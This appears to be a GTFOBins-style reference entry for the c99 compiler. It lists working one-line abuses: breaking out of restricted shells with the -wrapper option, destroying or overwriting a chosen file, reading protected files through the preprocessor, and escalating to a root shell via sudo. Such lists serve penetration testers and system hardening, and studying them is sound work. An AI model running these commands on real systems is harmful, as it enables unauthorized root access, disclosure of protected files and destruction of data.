It can be used to break out from restricted environments by spawning an interactive system shell.
c99 -wrapper /bin/sh,-s .
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_delete c99 -xc /dev/null -o $LFILE
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read c99 -x c -E "$LFILE"
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo c99 -wrapper /bin/sh,-s .